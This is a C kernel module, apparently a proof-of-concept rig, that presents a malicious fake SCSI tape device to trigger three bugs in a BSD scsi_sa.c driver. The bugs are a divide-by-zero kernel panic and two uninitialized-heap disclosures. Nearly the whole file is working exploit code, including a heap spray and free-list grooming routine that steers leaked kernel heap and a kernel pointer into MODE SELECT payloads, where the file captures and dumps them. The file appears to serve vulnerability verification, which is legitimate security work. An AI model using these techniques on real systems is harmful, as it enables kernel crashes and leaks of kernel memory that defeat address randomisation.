/*
 * evilsa.c -- fake CAM SIM presenting a malicious SCSI sequential-access
 * (tape) target.  Verification rig for the pass-2 scsi_sa.c findings:
 *
 *   DF-5285: sastrategy() divides by softc->min_blk when a fixed-mode
 *            device has a non-power-of-2 blocksize (blk_mask == ~0) and
 *            min_blk == 0.  The device feeds both values: READ BLOCK
 *            LIMITS reports minimum = 0 (evilsa.minblk, default 0) and the
 *            operator's ordinary "mt setblk 3" then flips the driver into
 *            fixed / non-pow2 mode.  The next read(2) executes
 *            `b_bcount % min_blk` -> integer divide-by-zero -> panic.
 *
 *   DF-5284: sasetparams() kmallocs ccomp WITHOUT M_ZERO; when the
 *            embedded sagetparams() EINVAL-fallback sets SA_QUIRK_NOCOMP
 *            it stops filling *tcs, so 16 bytes of uninitialized kernel
 *            heap are copied into the MODE SELECT payload and transmitted
 *            to the device.  evilsa.nocomp=1 makes MODE SENSE for pages
 *            0x0f/0x10 fail with CAM_REQ_INVALID (exactly what triggers
 *            the EINVAL fallback), page 0x00 stays valid, and the MODE
 *            SELECT handler captures + dumps the payload it receives.
 *
 *   DF-5286: evilsa.rbl_short=1 makes READ BLOCK LIMITS complete with a
 *            zero-length short transfer so samount() parses an
 *            uninitialized 8192-byte heap buffer (kmalloc without M_ZERO).
 *
 * Heap rig: evilsa.spray16 allocates 4096 x 16B chunks, stamps the kernel
 * pointer &ev_lock at [8..15] (offsets [0..7] hold the allocator's
 * SLChunk.c_Next linkage once freed) and frees them all, so the next
 * kmalloc(16) -- sasetparams' ccomp -- reuses a marked chunk and the
 * markers flow into the MODE SELECT payload.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/kthread.h>
#include <sys/sysctl.h>
#include <sys/lock.h>
#include <sys/thread.h>
#include <sys/types.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/cam_sim.h>
#include <bus/cam/cam_periph.h>
#include <bus/cam/cam_xpt.h>
#include <bus/cam/cam_xpt_sim.h>
#include <bus/cam/cam_xpt_periph.h>
#include <bus/cam/scsi/scsi_all.h>
#include <bus/cam/scsi/scsi_message.h>

MALLOC_DEFINE(M_EVILSA, "evilsa", "evilsa marker spray");

static struct lock	 ev_lock;
static struct cam_sim	*ev_sim;
static int		 ev_nocomp;	/* reject compression pages (EINVAL) */
static int		 ev_minblk;	/* READ BLOCK LIMITS minimum */
static int		 ev_rbl_short;	/* short READ BLOCK LIMITS xfer */
static int		 ev_msel28;	/* 28-byte MODE SELECTs seen */
static u_int8_t		 ev_msel_last[28];	/* last captured payload */
static int		 ev_msel_last_len;

#define NSPRAY	4096
static void		*spr[NSPRAY];
static int		 aidx[NSPRAY];	/* .bss: 16KB is too big for kstack */

static void ev_action(struct cam_sim *sim, union ccb *ccb);
static void ev_poll(struct cam_sim *sim);

/* ---------------- device responses ---------------- */

static u_int8_t ev_inq36[36] = {
	0x01,			/* T_SEQUENTIAL, qual 0 */
	0x80,			/* RMB: removable */
	0x02,			/* SCSI-2 */
	0x02,			/* response format */
	0x00,			/* additional_length (filled per spec) */
	0x00, 0x00,
	0x00,			/* no CmdQue */
	'E','V','I','L','S','A',' ',' ',
	'T','A','P','E',' ',' ',' ',' ',
	'1','.','0',' ',
};

static void
ev_complete(union ccb *ccb, cam_status st)
{
	ccb->ccb_h.status = st;
	if ((ccb->ccb_h.func_code & XPT_FC_QUEUED) != 0)
		xpt_done(ccb);
}

static void
ev_fill_data(struct ccb_scsiio *csio, u_int8_t *src, u_int32_t srclen)
{
	u_int32_t dxfer = csio->dxfer_len;
	u_int32_t copy = dxfer < srclen ? dxfer : srclen;

	if (csio->data_ptr != NULL && copy)
		bcopy(src, csio->data_ptr, copy);
	csio->resid = dxfer - copy;
	csio->scsi_status = SCSI_STATUS_OK;
}

/*
 * MODE SENSE(6) data for the "normal" personality:
 *   page 0x0f (SA_DATA_COMPRESSION_PAGE): header + blk desc + comp page
 *   page 0x00 (vendor):                    header + blk desc only
 */
static void
ev_modesense_normal(struct ccb_scsiio *csio, u_int8_t page)
{
	u_int8_t buf[28];

	bzero(buf, sizeof(buf));
	if (page == 0x0f || page == 0x10) {
		/* 4-byte mode header */
		buf[0] = 0x1b;		/* data_length = 27 */
		buf[1] = 0x00;		/* medium_type */
		buf[2] = 0x10;		/* dev_spec: SIBUF buffered mode */
		buf[3] = 0x08;		/* blk_desc_len = 8 */
		/* 8-byte block descriptor */
		buf[4] = 0x00;		/* density = default */
		/* nblocks = 0 (buf[5..7]) */
		/* reserved buf[8] */
		buf[9] = 0; buf[10] = 0x02; buf[11] = 0x00;	/* blklen 512 */
		/* compression page at 12..27 */
		buf[12] = page;		/* page code */
		buf[13] = 0x0e;		/* page length */
		buf[14] = 0x40;		/* DCC: compression capable */
		buf[15] = 0x80;		/* DDE: decompression enabled */
		/* comp/decomp algorithm = 0 (buf[16..23]) */
		ev_fill_data(csio, buf, 28);
	} else {
		buf[0] = 0x0b;		/* data_length = 11 */
		buf[1] = 0x00;
		buf[2] = 0x10;
		buf[3] = 0x08;
		buf[4] = 0x00;		/* density */
		buf[9] = 0; buf[10] = 0x02; buf[11] = 0x00;	/* blklen 512 */
		ev_fill_data(csio, buf, 12);
	}
	ev_complete((union ccb *)csio, CAM_REQ_CMP);
}

static void
ev_modesel_capture(struct ccb_scsiio *csio)
{
	u_int32_t dxfer = csio->dxfer_len;
	u_int32_t copy = dxfer < 28 ? dxfer : 28;
	int i;

	if (csio->data_ptr == NULL || copy == 0)
		return;
	bcopy(csio->data_ptr, ev_msel_last, copy);
	ev_msel_last_len = copy;

	if (dxfer >= 28) {
		/*
		 * A 28-byte MODE SELECT means the compression page was
		 * included: bytes 12..27 are sasetparams' ccomp copy.
		 * Dump them and check for the spray marker (&ev_lock).
		 */
		u_int8_t *p = ev_msel_last;
		int hit = 1;

		ev_msel28++;
		kprintf("[EVILSA] MODE SELECT #%d len %u payload[12..27]:\n",
		    ev_msel28, dxfer);
		kprintf("[EVILSA]   %02x %02x %02x %02x %02x %02x %02x %02x "
		    "%02x %02x %02x %02x %02x %02x %02x %02x\n",
		    p[12], p[13], p[14], p[15], p[16], p[17], p[18], p[19],
		    p[20], p[21], p[22], p[23], p[24], p[25], p[26], p[27]);
		/*
		 * marker check: &ev_lock at payload[20..27] with byte 26
		 * (dconf.sel_comp_alg, page offset 14) overwritten by calg
		 */
		for (i = 0; i < 8; i++) {
			u_int8_t exp = ((u_int8_t *)&ev_lock)[i];

			if (i == 6)
				continue;	/* clobbered by calg */
			if (p[20 + i] != exp) {
				hit = 0;
				break;
			}
		}
		if (hit)
			kprintf("[EVILSA]   MARKER HIT: payload[20..27] "
			    "matches &ev_lock=%p (byte 24 = calg)\n",
			    (void *)&ev_lock);
		else
			kprintf("[EVILSA]   no marker match this round "
			    "(&ev_lock=%p)\n", (void *)&ev_lock);
		/* linkage bytes 13..19 = heap freelist pointer */
		kprintf("[EVILSA]   chunk[1..7] (freelist ptr bytes): "
		    "%02x %02x %02x %02x %02x %02x %02x\n",
		    p[13], p[14], p[15], p[16], p[17], p[18], p[19]);
	}
}

static void
ev_scsi_io(struct ccb_scsiio *csio)
{
	u_int8_t *cdb;
	u_int8_t buf[32];

	if (csio->ccb_h.flags & CAM_CDB_POINTER)
		cdb = csio->cdb_io.cdb_ptr;
	else
		cdb = csio->cdb_io.cdb_bytes;

	switch (cdb[0]) {
	case 0x12:		/* INQUIRY */
		ev_fill_data(csio, ev_inq36, 36);
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;

	case 0x00:		/* TEST UNIT READY */
	case 0x03:		/* REQUEST SENSE */
		if (cdb[0] == 0x03 && csio->data_ptr != NULL) {
			u_int32_t copy = csio->dxfer_len < 32 ? csio->dxfer_len : 32;

			bzero(csio->data_ptr, copy);
			csio->resid = csio->dxfer_len - copy;
		}
		csio->scsi_status = SCSI_STATUS_OK;
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;

	case 0x05:		/* READ BLOCK LIMITS */
		if (ev_rbl_short) {
			/* DF-5286: zero-length short transfer */
			csio->resid = csio->dxfer_len;
			csio->scsi_status = SCSI_STATUS_OK;
			ev_complete((union ccb *)csio, CAM_REQ_CMP);
			return;
		}
		bzero(buf, 6);
		buf[1] = 0xFF; buf[2] = 0xFF; buf[3] = 0xFF;	/* maximum */
		buf[4] = (ev_minblk >> 8) & 0xff;
		buf[5] = ev_minblk & 0xff;			/* minimum */
		ev_fill_data(csio, buf, 6);
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;

	case 0x1A:		/* MODE SENSE(6) */
	{
		u_int8_t page = cdb[2] & 0x3F;

		if (ev_nocomp && (page == 0x0f || page == 0x10)) {
			/*
			 * DF-5284: CAM-level invalid command -> saerror ->
			 * cam_periph_error -> EINVAL -> sagetparams()
			 * compression-page fallback dance -> NOCOMP quirk
			 * -> ccomp never filled -> uninit heap in MODE
			 * SELECT.
			 */
			ev_complete((union ccb *)csio, CAM_REQ_INVALID);
			return;
		}
		ev_modesense_normal(csio, page);
		return;
	}

	case 0x15:		/* MODE SELECT(6) */
		ev_modesel_capture(csio);
		/*
		 * Policy: accept blocksize/variable selects (density
		 * SCSI_SAME_DENSITY 0x7f), reject the density probes
		 * samount() issues while guessing mode.
		 */
		if (csio->data_ptr != NULL && csio->dxfer_len >= 5 &&
		    csio->data_ptr[4] == 0x7f) {
			csio->scsi_status = SCSI_STATUS_OK;
			csio->resid = 0;
			ev_complete((union ccb *)csio, CAM_REQ_CMP);
		} else {
			ev_complete((union ccb *)csio, CAM_REQ_INVALID);
		}
		return;

	case 0x08:		/* READ(6) - incl. samount's dummy read */
		if (csio->data_ptr != NULL && csio->dxfer_len > 0 &&
		    csio->dxfer_len <= 131072) {
			bzero(csio->data_ptr, csio->dxfer_len);
			csio->resid = 0;
		} else {
			csio->resid = csio->dxfer_len;
		}
		csio->scsi_status = SCSI_STATUS_OK;
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;

	case 0x0A:		/* WRITE(6) */
		csio->scsi_status = SCSI_STATUS_OK;
		csio->resid = 0;
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;

	case 0x34:		/* READ POSITION */
		bzero(buf, 20);
		/* flags = 0: position known; firstblk = 0 */
		ev_fill_data(csio, buf, 20);
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;

	case 0x01:		/* REWIND */
	case 0x10:		/* WRITE FILEMARKS */
	case 0x11:		/* SPACE */
	case 0x19:		/* ERASE */
	case 0x1B:		/* LOAD/UNLOAD (START STOP) */
	case 0x1E:		/* PREVENT ALLOW MEDIUM REMOVAL */
	case 0x2B:		/* LOCATE */
	case 0x56:		/* RESERVE UNIT */
	case 0x57:		/* RELEASE UNIT */
		csio->scsi_status = SCSI_STATUS_OK;
		csio->resid = csio->dxfer_len;
		ev_complete((union ccb *)csio, CAM_REQ_CMP);
		return;

	default:
		ev_complete((union ccb *)csio, CAM_REQ_INVALID);
		return;
	}
}

static void
ev_action(struct cam_sim *sim, union ccb *ccb)
{
	switch (ccb->ccb_h.func_code) {
	case XPT_PATH_INQ:
	{
		struct ccb_pathinq *cpi = &ccb->cpi;

		cpi->version_num = 1;
		cpi->hba_inquiry = 0;
		cpi->hba_misc = 0;
		cpi->max_target = 0;
		cpi->max_lun = 0;
		cpi->initiator_id = 7;
		cpi->unit_number = cam_sim_unit(sim);
		cpi->bus_id = cam_sim_bus(sim);
		cpi->base_transfer_speed = 3300;
		cpi->transport = XPORT_SPI;
		cpi->transport_version = 2;
		cpi->protocol = PROTO_SCSI;
		cpi->protocol_version = SCSI_REV_2;
		cpi->maxio = 65536;
		strncpy(cpi->sim_vid, "EVIL", SIM_IDLEN);
		strncpy(cpi->hba_vid, "EVIL", HBA_IDLEN);
		strncpy(cpi->dev_name, "evilsa", DEV_IDLEN);
		ccb->ccb_h.status = CAM_REQ_CMP;
		break;
	}
	case XPT_GET_TRAN_SETTINGS:
	case XPT_SET_TRAN_SETTINGS:
		ccb->ccb_h.status = CAM_REQ_INVALID;
		break;
	case XPT_SCSI_IO:
		ev_scsi_io(&ccb->csio);
		return;
	default:
		ev_complete(ccb, CAM_REQ_INVALID);
		return;
	}
}

static void
ev_poll(struct cam_sim *sim)
{
}

/* ---------------- heap + control rigs ---------------- */

static int
ev_sys_spray16(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error, i, j, na = 0;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);

	for (i = 0; i < NSPRAY; i++) {
		spr[i] = kmalloc(16, M_EVILSA, M_INTWAIT);
		/* marker kernel pointer at [8..15]; [0..7] become the
		 * allocator linkage once freed */
		*(void **)((u_int8_t *)spr[i] + 8) = (void *)&ev_lock;
	}
	/*
	 * Groom the free stack so the chunk sasetparams' ccomp gets has
	 * pagecode == 0x10 (SA_DEVICE_CONFIGURATION_PAGE):
	 *
	 * Once freed, chunk[0..7] holds the freelist linkage (pointer to
	 * the previously-freed chunk), so chunk[0] = low byte of THAT
	 * address.  Free only chunks whose own address ends in 0x10/0x90
	 * LAST: each of them then links to another 0x10/0x90-address
	 * chunk, so whichever one the next kmalloc(16) returns carries
	 * pagecode 0x10 after &~0x80 -- deterministically steering the
	 * uninitialized switch in sasetparams() into the dconf branch
	 * that transmits the page (28-byte MODE SELECT).
	 */
	for (i = 0; i < NSPRAY; i++) {
		uintptr_t a = (uintptr_t)spr[i];

		if ((a & 0xff) == 0x10 || (a & 0xff) == 0x90)
			aidx[na++] = i;
	}
	/* fillers first */
	for (i = 0, j = 0; i < NSPRAY; i++) {
		if (j < na && i == aidx[j]) {
			j++;
			continue;
		}
		kfree(spr[i], M_EVILSA);
		spr[i] = NULL;
	}
	/* then the 0x10/0x90-address chunks, ending on one of them */
	for (j = 0; j < na; j++)
		kfree(spr[aidx[j]], M_EVILSA);
	kprintf("[EVILSA] sprayed+freed %d x 16B chunks (kptr %p), "
	    "%d ending in 0x10/0x90 freed last (pagecode groom)\n",
	    NSPRAY, (void *)&ev_lock, na);
	return (0);
}

static int
ev_sys_probe16(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error, k;
	u_int8_t *p[16];

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);

	for (k = 0; k < 16; k++) {
		p[k] = kmalloc(16, M_EVILSA, M_INTWAIT);
		kprintf("[EVILSA] probe16[%d] %p: %02x %02x %02x %02x %02x "
		    "%02x %02x %02x | %02x %02x %02x %02x %02x %02x %02x "
		    "%02x\n", k, p[k],
		    p[k][0], p[k][1], p[k][2], p[k][3],
		    p[k][4], p[k][5], p[k][6], p[k][7],
		    p[k][8], p[k][9], p[k][10], p[k][11],
		    p[k][12], p[k][13], p[k][14], p[k][15]);
	}
	for (k = 0; k < 16; k++)
		kfree(p[k], M_EVILSA);
	return (0);
}

static int
ev_sys_msel_dump(SYSCTL_HANDLER_ARGS)
{
	int do_it = 0, error;

	error = sysctl_handle_int(oidp, &do_it, 0, req);
	if (error != 0 || req->newptr == NULL || do_it == 0)
		return (error);

	kprintf("[EVILSA] msel28=%d last_len=%d\n", ev_msel28,
	    ev_msel_last_len);
	if (ev_msel_last_len) {
		u_int8_t *p = ev_msel_last;
		int i;

		kprintf("[EVILSA] last MODE SELECT payload[0..%d]:\n",
		    ev_msel_last_len - 1);
		for (i = 0; i < ev_msel_last_len; i += 8)
			kprintf("[EVILSA]   %02x %02x %02x %02x %02x %02x "
			    "%02x %02x\n", p[i], p[i+1 < ev_msel_last_len ? i+1 : i],
			    p[i+2 < ev_msel_last_len ? i+2 : i],
			    p[i+3 < ev_msel_last_len ? i+3 : i],
			    p[i+4 < ev_msel_last_len ? i+4 : i],
			    p[i+5 < ev_msel_last_len ? i+5 : i],
			    p[i+6 < ev_msel_last_len ? i+6 : i],
			    p[i+7 < ev_msel_last_len ? i+7 : i]);
	}
	return (0);
}

static int
ev_sys_kptr(SYSCTL_HANDLER_ARGS)
{
	int error;
	unsigned long val = (unsigned long)(uintptr_t)&ev_lock;

	error = sysctl_handle_long(oidp, &val, 0, req);
	if (error != 0 || req->newptr != NULL)
		return (error);
	return (0);
}

SYSCTL_NODE(_debug, OID_AUTO, evilsa, CTLFLAG_RW, 0, "evilsa control");
SYSCTL_INT(_debug_evilsa, OID_AUTO, nocomp, CTLFLAG_RW, &ev_nocomp, 0,
    "1: MODE SENSE pages 0x0f/0x10 -> CAM_REQ_INVALID (EINVAL fallback)");
SYSCTL_INT(_debug_evilsa, OID_AUTO, minblk, CTLFLAG_RW, &ev_minblk, 0,
    "READ BLOCK LIMITS minimum (default 0)");
SYSCTL_INT(_debug_evilsa, OID_AUTO, rbl_short, CTLFLAG_RW, &ev_rbl_short, 0,
    "1: READ BLOCK LIMITS zero-length short transfer");
SYSCTL_INT(_debug_evilsa, OID_AUTO, msel28, CTLFLAG_RD, &ev_msel28, 0,
    "28-byte MODE SELECTs captured");
SYSCTL_PROC(_debug_evilsa, OID_AUTO, probe16, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_probe16, "I", "alloc+hexdump 16 x 16B chunks");
SYSCTL_PROC(_debug_evilsa, OID_AUTO, spray16, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_spray16, "I", "alloc+mark+free 4096x16B chunks");
SYSCTL_PROC(_debug_evilsa, OID_AUTO, msel_dump, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, ev_sys_msel_dump, "I", "dump last captured MODE SELECT");
SYSCTL_PROC(_debug_evilsa, OID_AUTO, kptr, CTLTYPE_LONG | CTLFLAG_RD,
    0, 0, ev_sys_kptr, "LU", "kernel pointer marker (&ev_lock)");

/* ---------------- bus registration + scan ---------------- */

static void
ev_scan_done(struct cam_periph *periph, union ccb *done_ccb)
{
	xpt_free_path(done_ccb->ccb_h.path);
	xpt_free_ccb(&done_ccb->ccb_h);
}

static void
ev_choreography(void *arg)
{
	struct cam_path *path;
	union ccb *ccb;
	cam_status status;

	ev_sim = cam_sim_alloc(ev_action, ev_poll, "evilsa", NULL, 0,
	    &ev_lock, 16, 16, NULL);
	if (ev_sim == NULL) {
		kprintf("[EVILSA] cam_sim_alloc failed\n");
		kthread_exit();
	}
	cam_sim_lock(&ev_lock);
	if (xpt_bus_register(ev_sim, 0) != CAM_SUCCESS) {
		kprintf("[EVILSA] xpt_bus_register failed\n");
		cam_sim_unlock(&ev_lock);
		kthread_exit();
	}

	status = xpt_create_path(&path, xpt_periph, cam_sim_path(ev_sim),
	    CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD);
	if (status != CAM_REQ_CMP) {
		kprintf("[EVILSA] cannot create scan path: %#x\n", status);
		cam_sim_unlock(&ev_lock);
		kthread_exit();
	}
	ccb = xpt_alloc_ccb();
	xpt_setup_ccb(&ccb->ccb_h, path, 5);
	ccb->ccb_h.func_code = XPT_SCAN_BUS;
	ccb->ccb_h.cbfcnp = ev_scan_done;
	xpt_action(ccb);

	kprintf("[EVILSA] bus scanned\n");
	cam_sim_unlock(&ev_lock);
	kthread_exit();
}

static int
evilsa_modevent(module_t mod, int type, void *data)
{
	int error = 0;

	switch (type) {
	case MOD_LOAD:
		lockinit(&ev_lock, "evilsa", 0, LK_CANRECURSE);
		kthread_create(ev_choreography, NULL, NULL, "evilsa");
		break;
	case MOD_UNLOAD:
		kprintf("[EVILSA] unload not supported\n");
		error = EBUSY;
		break;
	default:
		error = EOPNOTSUPP;
		break;
	}
	return (error);
}

static moduledata_t evilsa_mod = { "evilsa", evilsa_modevent, NULL };
DECLARE_MODULE(evilsa, evilsa_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_DEPEND(evilsa, cam, 1, 1, 1);
